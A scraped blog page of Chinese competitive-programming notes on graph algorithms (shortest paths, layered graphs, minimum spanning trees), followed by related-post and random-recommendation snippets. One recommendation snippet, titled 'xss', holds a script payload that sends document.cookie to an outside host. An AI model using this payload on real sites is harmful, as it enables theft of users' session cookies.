DP&图论 DAY 7 上午
DP&图论 DAY 7 上午
图论练习题

P2176 [USACO14FEB]路障Roadblock

先跑最短路(最多n条边,否则出环)
枚举每条边,加倍,再跑 dijkstra
取最大
P2939 [USACO09FEB]改造路Revamping Trails

Solution
分层图最短路
从上一层到下一层,起点之间连边



Solution
暴力N^2建边
然后发现有一些边是没用的
假设存在3个点 (x1,y1) (x2,y2) (x3,y3)
min( |x1-x3| , |y1-y3| ) = x3-x1
--->min( |x1-x2| , |y1-y2| ) + min( |x2-x3| , |y2-y3| )
所以如果存在一条路径,st. point1--->point3 = point1-->point2 + point2-->point3
所以就把路径换成 1--2+2-->3 ,这样一定不会差

对于所有点,x从小到大排序,y从小到大排序,相邻两点之间连边,不允许跳点的跑路
跑最短路

P2502 [HAOI2006]旅行

Solution
。最小边越大,最大边也越大,不能满足二分性质
。枚举最小边,固定最小边,最小化最大边,最小生成树 kruscal
一开始 sort 一遍
枚举每个最小边,O(M) 克鲁斯卡尔



Solution
最近距离最远,可以二分
N^2连边
二分 mid ,边<mid,属于同一部落内部,看此时图中有多少连通块
数量<k,不可行,数量>=k,继续二分
MST
N^2连边
选若干条边,使得形成 K 个连通块,没选的边中最小值最大
只剩k个连通块,也就是剩下n-k条边,停止算法
kruscal
· Kruskal 最大生成树,加入 N − ne e d 条边就停止。


Solution
S表示前缀和,%2下
可以推理出S1~Sn
S0=0
S[R]----S[L-1]
传递性 x-->y y-->z ,x-->z
使得每个点都和0连通
加边,跑最小生成树
PS:奇偶异或,连通即可知
MST(最小生成树)


Solution
开到一个不是加油站的点,下一步最优去最近的加油站
以每个加油站为源点,跑多源多汇最短路

加油站转移
重构边,图上只留下加油站,忽略非加油站点,边权相应更改
也就是
也就是说:



Solution



Solution

真·不是二分

下面是不知道在讲啥子系列
Floyd + 倍增

接起来
快速幂加速

DP&图论 DAY 7 上午的更多相关文章
- DP&图论 DAY 6 上午
DP&图论 DAY 6 上午 双连通分量 从u-->v不存在必经边,点 点双连通分量 边双连通分量 点/边双连通分量缩点之后变成一个树 找连通块的时候不越过割点或者桥 P3469 [ ...
- DP&图论 DAY 5 上午
DP&图论 DAY 5 上午 POJ 1125 Stockbroker Grapevine 有 N 个股票经济人可以互相传递消息,他们之间存在一些单向的通信路径.现在有一个消息要由某个人开 ...
- DP&图论 DAY 4 上午
DP&图论 DAY 4 上午 概率与期望 概率◦某个事件A发生的可能性的大小,称之为事件A的概率,记作P(A).◦假设某事的所有可能结果有n种,每种结果都是等概率,事件A涵盖其中的m种,那 ...
- DP&图论 DAY 3 上午
DP&图论 DAY 3 上午 状态压缩dp >状态压缩dp ◦状态压缩是设计dp状态的一种方式.◦当普通的dp状态维数很多(或者说维数与输入数据有关),但每一维总量很少是,可以将多维 ...
- DP&图论 DAY 6 下午 考试
DP&图论 DAY 6 下午 考试 样例输入 样例输出 题解 >50 pt dij 跑暴力 (Floyd太慢了QWQ O(n^3)) 枚举每个点作为起点,dijks ...
- DP&图论 DAY 5 下午
DP&图论 DAY 5 下午 树链剖分 每一条边要么属于重链要么轻边 证明: https://www.cnblogs.com/sagitta/p/5660749.html 轻边重链都是交 ...
- DP&图论 DAY 4 下午图论
DP&图论 DAY 4 下午 后天考试不考二分图,双联通 考拓扑排序 图论 图的基本模型 边: 有向边构成有向图 无向边构成无向图 权值: 1.无权 2.点权 3.边权 4.负权(dij不 ...
- DP&图论 DAY 2 下午
DP&图论 DAY 2 下午 基础树形DP 前言◦ 1:与树或图的生成树相关的动态规划.◦ 2:以每棵子树为子结构,在父亲节点合并,注意树具有天然的子结构.这是很优美的很利于dp的.◦ 3 ...
- DP&图论 DAY 1 下午
DP&图论 DAY 1 下午 区间和序列上的DP 序列上的DP >序列上的dp状态设计最基本的形式 F[i]表示以 i 结尾的最优值或方案数.◦ F[i][k]表示以 i 结尾附加 ...
随机推荐
- 安卓开发之HttpURLConnection类和Handler类的使用
package com.lidaochen.test; import java.io.ByteArrayOutputStream; import java.io.InputStream; public ...
- 0502 xss
playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...
- 后台程序员简单应用前端的bootstrap(小白)
原因: 现在技术更新很快,我们需要掌握更多的语言和技术,公司现在也希望招全栈工程师. 名词: bootstrap(前端框架),less(css的扩充) 案例: 在bootstrap中常用row行级元素 ...
- 命令行工具--LLDP
目录 命令行工具--LLDP 一.场景引入 二.什么是LLDP? 三.在CentOS上安装LLDP 四.命令详解 五.脚本 命令行工具--LLDP 一.场景引入 有的时候,我们需要知道服务器上联交换机 ...
- sql 拼接字符串单条拆分多条
SELECT * FROM ( SELECT A.WS_ID , B.NEXT_OPERATOR FROM ( SELECT WS_ID , [NEXT_OPERATOR] = CONVERT(XML ...
- mongo批量写入es
import pymongo import math from elasticsearch import Elasticsearch from elasticsearch import helpers ...
- 低级键盘钩子,在WIN7以上版本的问题
最近在项目用到低级键盘钩子.发现一个很奇怪的事情,在开发环境和测试环境下都正常运行的键盘钩子, 到了现场环境,总是偶发性出现 键盘钩子不能用了,而且退出时产生1404 错误. 后经过阅读MSDN 的R ...
- luogu3651 展翅翱翔之时 (はばたきのとき)[基环树+贪心]
考前随便做点水题愉♂悦身心 有助于退役 这题意思其实就是说要把外向基环树森林改成一个环的最小代价. 依照套路,先对每棵基环树的树做dp,这里因为要是环,要把所有的树都拆成链,然后连接.所以考虑以最小代 ...
- SendMessage到底是如何工作的?
以下内容摘自<<Windows核心编程>>: 概要: SendMessage对于在同一个线程中调用的话,直接调用的是当前线程所属窗口的窗口过程函数(WndProc);如果是跨线 ...
- 4-windows启用账户锁定计数器
1.打开本地策略编辑器 命令:gpedit.msc 2.找到账户锁定策略 3.右键属性,设置登录无效次数 注:这个策略修改完后,不需要重新服务器就能生效